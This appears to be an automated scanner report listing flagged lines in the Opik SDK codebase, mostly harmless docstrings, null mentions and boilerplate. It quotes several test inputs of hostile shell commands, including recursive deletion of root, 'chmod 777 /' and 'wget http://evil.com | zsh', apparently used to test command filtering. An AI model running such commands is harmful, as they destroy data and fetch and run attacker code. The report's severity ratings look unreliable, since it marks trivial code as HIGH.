| HIGH | sdks/python/src/opik/api_objects/dataset/dataset.py | 1514 | Get a read-only view of a specific dataset version. The returned DatasetVersion object allows reading | STRING |
| HIGH | …/src/opik/api_objects/dataset/test_suite/test_suite.py | 345 | Get a read-only view of a specific version. Args: version_name: The version name (e.g., 'v | STRING |
| HIGH | …c/opik/api_objects/annotation_queue/rest_operations.py | 168 | Fetch a trace annotation queue by its ID. Args: rest_client: The REST API client. queue_id: Th | STRING |
| HIGH | …c/opik/api_objects/annotation_queue/rest_operations.py | 194 | Fetch a thread annotation queue by its ID. Args: rest_client: The REST API client. queue_id: T | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/client.py | 77 | Creates the prompt detail for the given prompt name and template. Parameters: - name: The name | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/client.py | 355 | Retrieve all the prompt details for a given prompt name. Parameters: name: The name of the | STRING |
| HIGH | …/python/src/opik/api_objects/threads/threads_client.py | 44 | Search for threads in a given project based on specific criteria. This method retrieves a list of TraceThread o | STRING |
| HIGH | …/src/opik/api_objects/experiment/experiments_client.py | 27 | Find experiment items associated with a specific dataset among a list of experiments. This method quer | STRING |
| HIGH | …s/python/src/opik/api_objects/experiment/experiment.py | 379 | Upload experiment items together with their traces, spans and feedback scores. Unlike :meth:`insert`, | STRING |
| HIGH | …s/python/src/opik/api_objects/experiment/experiment.py | 692 | Retrieves and returns a list of experiment items for this experiment. Args: max_results: M | STRING |
| HIGH | sdks/python/src/opik/configurator/opik_rest_helpers.py | 91 | Verifies whether the provided workspace name exists in the user's cloud Opik account. Args: workspace | STRING |
| HIGH | …r_algorithms/metaprompt_context7_remote_mcp_example.py | 71 | Compute Levenshtein similarity between reference_answer and model output. Args: dataset_item: Dataset row d | STRING |
| HIGH | …ks/opik_optimizer/src/opik_optimizer/base_optimizer.py | 267 | Get a prompt template, optionally formatted with kwargs. Args: key: The prompt key to retrieve | STRING |
| 24 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | sdks/python/tests/unit/test_json_helpers.py | 203 | assert accelerated_bytes == b'{"v":null}' | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 195 | "echo hello && sudo rm -rf /", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 200 | "pip install foo && sudo chmod 777 /", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 203 | "echo clean && dd if=/dev/urandom of=disk.img", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 205 | "echo ok && rm -r -f /", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 207 | "echo x && wget http://evil.com | zsh", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 208 | "echo safe && nohup python app.py &", | CODE |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 858 | # ``apply_dataset_item_changes(base_version=null, override=true)`` | COMMENT |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 916 | # Two apply_dataset_item_changes calls: v1 (base_version=null, | COMMENT |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 1346 | # base_version=null, override=true)`` carrying the suite config — | COMMENT |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 1248 | or ``apply_dataset_item_changes(base_version=null, override=true)`` (when | STRING |
| HIGH | …s/python/tests/unit/evaluation/metrics/test_is_json.py | 16 | '{"name": "Alice", "age": 30, "is_admin": true, "skills": ["python", "c++"], "nested": {"a": 1, "b": null}}', | CODE |
| HIGH | …s/python/tests/unit/evaluation/metrics/test_is_json.py | 22 | '[true, false, null, 100, 3.14, "text", {}, [1, 2]]', | CODE |
| HIGH⚡ | …/evaluation/metrics/llm_judges/test_parsing_helpers.py | 17 | '{"verdict":"yes","reason":null}' | CODE |
| HIGH⚡ | …/evaluation/metrics/llm_judges/test_parsing_helpers.py | 21 | content = 'Here you go: {"verdict":"yes","reason":null} done.' | CODE |
| HIGH⚡ | …/evaluation/metrics/llm_judges/test_parsing_helpers.py | 32 | content = '{"verdict":"yes","reason":null}\n{"verdict":"yes","reason":null}' | CODE |
| HIGH | …ts/unit/evaluation/models/test_anthropic_chat_model.py | 504 | a malformed model output (top-level array, scalar, null, or | STRING |
| HIGH | sdks/python/src/opik/runner/bridge_auth.py | 10 | """HMAC-SHA256(bridge_key, type || args_json) → base64.""" | STRING |
| HIGH | …ython/src/opik/message_processing/replay/db_manager.py | 5 | to re-inject messages). The manager tracks three states — undefined, initialized, closed, | STRING |
| HIGH | sdks/python/src/opik/cli/migrate/checkpoint.py | 292 | raise ValueError(f"{field_name} must be a string or null, got {value!r}") | CODE |
| HIGH | sdks/python/src/opik/cli/migrate/_resolver.py | 126 | null) or when the project lookup raises a recoverable ``ApiError`` | STRING |
| HIGH | …python/src/opik/cli/migrate/datasets/version_replay.py | 507 | """Create v1 via ``apply_dataset_item_changes(base_version=null, override=true)``. | STRING |
| HIGH | sdks/python/src/opik/cli/migrate/datasets/executor.py | 210 | ``apply_dataset_item_changes(base_version=null, override=true)``) so | STRING |
| HIGH | …ation/suite_evaluators/agentic/tools/path_evaluator.py | 450 | f"Expected literal (string, integer, true/false/null) at position " | STRING |
| HIGH | …luation/suite_evaluators/agentic/compression/tokens.py | 3 | Matches the backend (`String.length() / 4`) so the same trace produces | STRING |
| HIGH | …luation/suite_evaluators/agentic/compression/tokens.py | 9 | Unicode code points, Java `String.length()` counts UTF-16 code units. | STRING |
| HIGH | …rc/opik/evaluation/models/anthropic/message_adapter.py | 69 | - Anything else (top-level list/scalar/null, malformed JSON, | STRING |
| HIGH | sdks/python/src/opik/api_objects/dataset/identifiers.py | 28 | as null, while a `None` passed to `delete` identifies nothing and is an error. Asking | STRING |
| HIGH | …hon/src/opik/api_objects/experiment/bulk_converters.py | 96 | # output is null, so the item is stored but invisible to the user. | COMMENT |
| HIGH | …hon/src/opik/api_objects/experiment/experiment_item.py | 42 | entries of the wrong one -- ``[null]`` is the shape to expect, since the backend | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 512 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 885 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 888 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 2245 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 2642 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 2645 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 622 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 1084 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 1087 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 2854 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 3316 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 3319 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/span_write.py | 18 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/guardrail_write.py | 17 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/trace.py | 23 | If null, the default project is used | STRING |
| HIGH | …src/opik/rest_api/types/experiment_item_bulk_upload.py | 20 | Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit trace). If nu | STRING |
| HIGH | …est_api/types/trace_experiment_item_bulk_write_view.py | 21 | If null, the default project is used | STRING |
| HIGH | …src/opik/rest_api/types/assertion_result_batch_item.py | 15 | If null, the default project is used | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 13 | If null, dataset_id must be provided | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 18 | If null, dataset_name must be provided | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 34 | Optional batch group ID to group multiple batches into a single dataset version. If null, mutates the latest version | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 39 | Optional. Dataset to read carry-forward rows from when materializing the new version. Required together with copy_fr | STRING |
| HIGH | …pik/rest_api/types/feedback_score_batch_item_thread.py | 13 | If null, the default project is used | STRING |
| HIGH | …n/src/opik/rest_api/types/feedback_score_batch_item.py | 13 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/guardrail.py | 18 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/span_public.py | 20 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/span.py | 20 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/trace_write.py | 17 | If null, the default project is used | STRING |
| HIGH | …ik/rest_api/types/complete_multipart_upload_request.py | 15 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 380 | If null, the default project is used | STRING |
| 52 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …tests/unit/runner/bridge_handlers/test_search_files.py | 40 | def _setup_files(self, tmp_path: Path) -> None: | CODE |
| LOW | …ython/tests/unit/evaluation/metrics/test_heuristics.py | 1468 | def set_lang(self, lang: str) -> None: | CODE |
| LOW | …ython/tests/unit/evaluation/metrics/test_heuristics.py | 1578 | def set_lang(self, lang: str) -> None: | CODE |
| LOW | sdks/python/tests/testlib/__init__.py | 14 | __all__ = [ | CODE |
| LOW | sdks/python/src/_opik/__init__.py | 14 | __all__ = ["BaseMetric", "ScoreResult"] | CODE |
| LOW | sdks/python/src/opik/environment_details.py | 47 | def set_run_context(**values: str) -> None: | CODE |
| LOW | sdks/python/src/opik/config.py | 597 | def update_session_config(key: str, value: Any) -> None: | CODE |
| LOW | sdks/python/src/opik/opik_context.py | 275 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/context_storage.py | 223 | def set_trace_data(self, trace: Optional[trace.TraceData]) -> None: | CODE |
| LOW | sdks/python/src/opik/__init__.py | 67 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/tracing_runtime_config.py | 13 | def set_tracing_active(self, active: bool) -> None: | CODE |
| LOW⚡ | sdks/python/src/opik/tracing_runtime_config.py | 39 | def set_tracing_active(active: bool) -> None: | CODE |
| LOW | sdks/python/src/opik/error_tracking/__init__.py | 7 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/llm_usage/__init__.py | 9 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/guardrails/__init__.py | 5 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/guardrails/guards/__init__.py | 8 | __all__ = ["Guard", "Topic", "PII", "LLMJudge", "PromptInjection", "CustomGuardrail"] | CODE |
| LOW | …/python/src/opik/decorator/context_manager/__init__.py | 5 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/decorator/opik_args/__init__.py | 8 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/runner/registry.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | sdks/python/src/opik/runner/tui.py | 279 | def _update_live(self) -> None: | CODE |
| LOW | …python/src/opik/runner/bridge_handlers/syntax_check.py | 12 | logger = logging.getLogger(__name__) | CODE |
| LOW | sdks/python/src/opik/simulation/__init__.py | 6 | __all__ = ["SimulatedUser", "run_simulation"] | CODE |
| LOW | …age_processing/emulation/emulator_message_processor.py | 123 | def set_active(self, active: bool) -> None: | CODE |
| LOW | …on/src/opik/message_processing/permissions/__init__.py | 3 | __all__ = [ | CODE |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 368 | def update_message(self, message_id: int, status: MessageStatus) -> None: | CODE |
| LOW | …n/src/opik/message_processing/replay/replay_manager.py | 135 | def set_replay_callback(self, callback: types.ReplayCallback) -> None: | CODE |
| LOW | sdks/python/src/opik/cli/__init__.py | 5 | __all__ = ["cli"] | CODE |
| LOW | sdks/python/src/opik/cli/local_runner/__init__.py | 10 | __all__ = ["connect", "endpoint"] | CODE |
| LOW | sdks/python/src/opik/cli/healthcheck/__init__.py | 5 | __all__ = ["healthcheck"] | CODE |
| LOW | sdks/python/src/opik/cli/exports/trace_filter.py | 7 | logger = logging.getLogger(__name__) | CODE |
| LOW | sdks/python/src/opik/cli/migrate/__init__.py | 9 | __all__ = ["migrate_group"] | CODE |
| LOW | sdks/python/src/opik/cli/migrate/datasets/resolver.py | 175 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/cli/migrate/prompts/resolver.py | 160 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/cli/usage_report/__init__.py | 9 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/integrations/aisuite/__init__.py | 4 | __all__ = ["track_aisuite"] | CODE |
| LOW⚡ | sdks/python/src/opik/integrations/dspy/callback.py | 376 | def _set_current_context_data(self, value: SpanOrTraceData) -> None: | CODE |
| LOW | sdks/python/src/opik/integrations/dspy/__init__.py | 3 | __all__ = ["OpikCallback"] | CODE |
| LOW | sdks/python/src/opik/integrations/crewai/__init__.py | 4 | __all__ = ["track_crewai"] | CODE |
| LOW | …thon/src/opik/integrations/crewai/patchers/__init__.py | 5 | __all__ = ["patch_flow", "patch_llm_client", "patch_litellm_completion"] | CODE |
| LOW | sdks/python/src/opik/integrations/agentspec/__init__.py | 3 | __all__ = ["AgentSpecInstrumentor", "OpikSpanProcessor"] | CODE |
| LOW | …/src/opik/integrations/agentspec/opik_spanprocessor.py | 21 | logger = logging.getLogger(__name__) | CODE |
| LOW | …ks/python/src/opik/integrations/guardrails/__init__.py | 3 | __all__ = ["track_guardrails"] | CODE |
| LOW | sdks/python/src/opik/integrations/harbor/__init__.py | 17 | __all__ = ["track_harbor", "reset_harbor_tracking"] | CODE |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 219 | def set_graph(self, graph: "Graph") -> None: | CODE |
| LOW | sdks/python/src/opik/integrations/langchain/__init__.py | 11 | __all__ = [ | CODE |
| LOW | …rations/langchain/response_cost_extractors/__init__.py | 3 | __all__ = [ | CODE |
| LOW | …ations/langchain/provider_usage_extractors/__init__.py | 3 | __all__ = [ | CODE |
| LOW | …der_usage_extractors/langchain_run_helpers/__init__.py | 9 | __all__ = [ | CODE |
| LOW | …s/python/src/opik/integrations/llama_index/__init__.py | 3 | __all__ = ["LlamaIndexCallbackHandler"] | CODE |
| LOW | sdks/python/src/opik/integrations/groq/__init__.py | 3 | __all__ = ["track_groq"] | CODE |
| LOW | sdks/python/src/opik/integrations/otel/__init__.py | 8 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/integrations/typesafe/__init__.py | 3 | __all__ = ["track_typesafe"] | CODE |
| LOW | sdks/python/src/opik/integrations/bedrock/__init__.py | 3 | __all__ = ["track_bedrock"] | CODE |
| LOW | …ons/bedrock/invoke_model/chunks_aggregator/__init__.py | 76 | __all__ = [ | CODE |
| LOW | …python/src/opik/integrations/adk/legacy_opik_tracer.py | 119 | def _set_current_context_data(self, value: SpanOrTraceData) -> None: | CODE |
| LOW | sdks/python/src/opik/integrations/adk/__init__.py | 14 | __all__ = ["OpikTracer", "track_adk_agent_recursive", "build_mermaid_graph_definition"] | CODE |
| LOW | …/python/src/opik/integrations/adk/patchers/__init__.py | 4 | __all__ = ["patch_adk"] | CODE |
| LOW | …hon/src/opik/integrations/haystack/opik_span_bridge.py | 41 | def set_tag(self, key: str, value: Any) -> None: | CODE |
| LOW | …hon/src/opik/integrations/haystack/opik_span_bridge.py | 57 | def set_content_tag(self, key: str, value: Any) -> None: | CODE |
| LOW | …hon/src/opik/integrations/haystack/opik_span_bridge.py | 177 | def set_tags(self, tags: Dict[str, Any]) -> None: | CODE |
| 278 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 250 | CODE | |
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 312 | CODE | |
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 343 | CODE | |
| LOW | …on/tests/unit/cli/test_export_project_rate_limiting.py | 601 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 222 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 245 | CODE | |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 396 | CODE | |
| LOW | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 402 | CODE | |
| LOW | …tests/unit/evaluation/test_evaluate_experiment_name.py | 395 | CODE | |
| LOW | …tests/unit/evaluation/test_evaluate_experiment_name.py | 550 | CODE | |
| LOW | …tests/unit/evaluation/test_evaluate_experiment_name.py | 706 | CODE | |
| LOW | …thon/tests/unit/evaluation/test_evaluate_experiment.py | 46 | CODE | |
| LOW | …thon/tests/unit/evaluation/test_evaluate_experiment.py | 68 | CODE | |
| LOW | …thon/tests/unit/evaluation/test_evaluate_experiment.py | 129 | CODE | |
| LOW | …s/python/tests/unit/evaluation/test_asyncio_support.py | 55 | CODE | |
| LOW | …s/python/tests/unit/evaluation/test_asyncio_support.py | 68 | CODE | |
| LOW | …s/python/tests/unit/evaluation/test_asyncio_support.py | 85 | CODE | |
| LOW | sdks/python/tests/unit/evaluation/test_evaluate.py | 92 | CODE | |
| LOW | sdks/python/tests/testlib/noop_file_upload_manager.py | 23 | CODE | |
| LOW | sdks/python/tests/e2e/runner/test_runner_e2e.py | 97 | CODE | |
| LOW | sdks/python/tests/e2e/runner/test_runner_e2e.py | 102 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 620 | CODE | |
| LOW | sdks/python/tests/e2e/evaluation/test_multimodal.py | 54 | CODE | |
| LOW | sdks/python/tests/e2e/evaluation/test_multimodal.py | 60 | CODE | |
| LOW | sdks/python/src/opik/jsonable_encoder.py | 29 | CODE | |
| LOW | sdks/python/src/opik/httpx_client.py | 216 | CODE | |
| LOW | sdks/python/src/opik/semantic_version.py | 140 | CODE | |
| LOW | sdks/python/src/opik/file_upload/upload_manager.py | 70 | CODE | |
| LOW | sdks/python/src/opik/runner/in_process_loop.py | 199 | CODE | |
| LOW | sdks/python/src/opik/runner/in_process_loop.py | 254 | CODE | |
| LOW | sdks/python/src/opik/runner/supervisor.py | 264 | CODE | |
| LOW | sdks/python/src/opik/runner/supervisor.py | 342 | CODE | |
| LOW | sdks/python/src/opik/runner/bridge_loop.py | 76 | CODE | |
| LOW | sdks/python/src/opik/runner/snapshot.py | 97 | CODE | |
| LOW | sdks/python/src/opik/runner/snapshot.py | 137 | CODE | |
| LOW | …ks/python/src/opik/runner/bridge_handlers/edit_file.py | 183 | CODE | |
| LOW | …python/src/opik/runner/bridge_handlers/exec_command.py | 84 | CODE | |
| LOW | …s/python/src/opik/runner/bridge_handlers/list_files.py | 67 | CODE | |
| LOW | sdks/python/src/opik/simulation/simulated_user.py | 89 | CODE | |
| LOW | sdks/python/src/opik/message_processing/streamer.py | 52 | CODE | |
| LOW | …/python/src/opik/message_processing/encoder_helpers.py | 45 | CODE | |
| LOW | …age_processing/emulation/emulator_message_processor.py | 350 | CODE | |
| LOW | …sage_processing/processors/online_message_processor.py | 92 | CODE | |
| LOW | …/src/opik/message_processing/batching/batch_manager.py | 69 | CODE | |
| LOW | …/opik/message_processing/batching/sequence_splitter.py | 42 | CODE | |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 304 | CODE | |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 368 | CODE | |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 464 | CODE | |
| LOW | sdks/python/src/opik/cli/terminal_session.py | 32 | CODE | |
| LOW | sdks/python/src/opik/cli/terminal_session.py | 190 | CODE | |
| LOW | sdks/python/src/opik/cli/selector.py | 72 | CODE | |
| LOW | sdks/python/src/opik/cli/selector.py | 193 | CODE | |
| LOW | sdks/python/src/opik/cli/selector.py | 214 | CODE | |
| LOW | sdks/python/src/opik/cli/mcp.py | 344 | CODE | |
| LOW | sdks/python/src/opik/cli/mcp.py | 695 | CODE | |
| LOW | sdks/python/src/opik/cli/local_runner/pairing.py | 474 | CODE | |
| LOW | sdks/python/src/opik/cli/healthcheck/smoke_test.py | 40 | CODE | |
| LOW | sdks/python/src/opik/cli/healthcheck/smoke_test.py | 131 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/__init__.py | 32 | CODE | |
| LOW | sdks/python/src/opik/cli/imports/all.py | 45 | CODE | |
| 263 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 547 | #### Step 1: User Creates Trace | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 560 | #### Step 2: API Layer - Message Creation | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 602 | #### Step 3: Message Processing Layer - Routing | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 638 | #### Step 4: Batching (Optional) | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 687 | #### Step 5: Queue and Consumer | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 703 | #### Step 6: Message Processing - Handler Execution | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 728 | #### Step 7: REST API Layer | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 751 | #### Step 8: Backend Storage | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_prompt.py | 1559 | # Step 4: clear all environments. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1506 | # Step 1: create v1 and pin it to environment_name; a newer v2 exists | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1526 | # Step 2: add second_environment_name; both envs must be visible on the same version. | COMMENT |
| LOW | sdks/python/tests/e2e/test_prompt.py | 1545 | # Step 3: move ownership exclusively to second_environment_name. | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 296 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 306 | # Step 2: Export traces using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 365 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 374 | # Step 2: Export datasets using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 442 | # Step 1: Prepare test data | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 452 | # Step 2: Export prompts using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 528 | # Step 1: Prepare test data (minimal) | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 533 | # Step 2: Export all data types with limited results using direct function calls | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 808 | # Step 1: Create two datasets | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 955 | # Step 1: Create a test chat prompt | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 965 | # Step 2: Export chat prompt using direct function call | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1053 | # Step 1: Prepare test data with experiments | COMMENT |
| LOW⚡ | sdks/python/tests/e2e/test_cli_import_export.py | 1060 | # Step 2: Export the project data (traces) using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 341 | # Step 3: Import traces using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 411 | # Step 3: Import datasets using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 490 | # Step 3: Import prompts using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 593 | # Step 3: Import all data types using direct function calls | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 842 | # Step 2: Create two experiments with different datasets | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 895 | # Step 3: Export experiments filtered by dataset1 | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 909 | # Step 4: Verify only experiment1 was exported. Files are named by | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 936 | # Step 5: Verify the exported experiment has the correct dataset | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 1006 | # Step 3: Import chat prompt using direct function call | COMMENT |
| LOW | sdks/python/tests/e2e/test_cli_import_export.py | 1106 | # Step 3: Test import (experiments are automatically recreated) using direct function call | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 129 | # Step 1: Collect all dataset_item_id and dataset_item_data from experiment files | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 189 | # Step 2: Import datasets | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 241 | # Step 3: Get all imported dataset items and match by content | COMMENT |
| LOW | …ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md | 11 | ### Step 1: Create the Aggregator Module | COMMENT |
| LOW | …ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md | 82 | ### Step 2: Register the Format | COMMENT |
| LOW | …ns/bedrock/invoke_model/chunks_aggregator/EXTENDING.md | 101 | ### Step 3: Test Your New Format | COMMENT |
| LOW | …tions/bedrock/invoke_model/chunks_aggregator/README.md | 36 | ### Step 1: Create Aggregator Module | COMMENT |
| LOW | …tions/bedrock/invoke_model/chunks_aggregator/README.md | 91 | ### Step 2: Register Format | COMMENT |
| LOW | …tions/bedrock/invoke_model/chunks_aggregator/README.md | 110 | ### Step 3: Done! | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 225 | # Step 1: If the URL is provided and active, update the configuration | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 234 | # Step 2: Check if the default local instance is active | COMMENT |
| LOW⚡ | sdks/python/src/opik/configurator/configure.py | 266 | # Step 4: Ask user for URL if no valid local instance is found or approved | COMMENT |
| LOW | sdks/python/src/opik/configurator/configure.py | 247 | # Step 3: Ask user if they want to use the found local instance | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 391 | ### Step 1: Create Package Structure | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 423 | ### Step 2: Implement Wrapper/Handler | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 513 | ### Step 3: Add Response Parsing | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 544 | ### Step 4: Export Public API | COMMENT |
| LOW | sdks/typescript/design/INTEGRATIONS.md | 552 | ### Step 5: Add Tests | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 44 | // Step 1: Get the resolved config through the public API | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 47 | // Step 2: Clear ALL env vars so only explicit config can provide values | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 58 | // Step 3: Pass resolved values as explicit config | COMMENT |
| LOW⚡ | sdks/typescript/tests/integration/connection.test.ts | 68 | // Step 4: Verify explicit values are used (not defaults, not env) | COMMENT |
| LOW | sdks/typescript/tests/integration/connection.test.ts | 79 | // Step 5: Restore env vars | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 74 | // Step 1: create v1, pin it to envA via setPromptEnvironments, then push | COMMENT |
| LOW | …ript/tests/integration/api/prompt-environments.test.ts | 101 | // Step 2: expand to both envs on v1's version. | COMMENT |
| 105 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …hon/tests/unit/decorator/test_decorator_span_errors.py | 52 | CODE | |
| LOW | …hon/tests/unit/decorator/test_decorator_span_errors.py | 71 | CODE | |
| LOW | …ts/unit/cli/test_migrate_dataset_resume_reconstruct.py | 30 | CODE | |
| LOW | …unit/cli/test_migrate_dataset_optimizations_cascade.py | 46 | CODE | |
| LOW | …ks/python/tests/unit/cli/test_export_error_handling.py | 229 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 65 | CODE | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 122 | CODE | |
| LOW | sdks/python/tests/unit/cli/test_mcp.py | 1264 | CODE | |
| LOW | …integration/metrics_with_llm_judge/agentic/_seeding.py | 63 | CODE | |
| LOW | …s/e2e_library_integration/litellm/test_opik_logging.py | 31 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 92 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 182 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 875 | CODE | |
| LOW | sdks/python/tests/e2e/verifiers.py | 904 | CODE | |
| LOW | sdks/python/tests/e2e/test_guardrails.py | 55 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 141 | CODE | |
| LOW | sdks/python/tests/e2e/cli/conftest.py | 337 | CODE | |
| LOW | sdks/python/examples/langchain_integration_example.py | 9 | CODE | |
| LOW | sdks/python/src/opik/environment_details.py | 133 | CODE | |
| LOW | sdks/python/src/opik/opik_context.py | 59 | CODE | |
| LOW | sdks/python/src/opik/opik_context.py | 126 | CODE | |
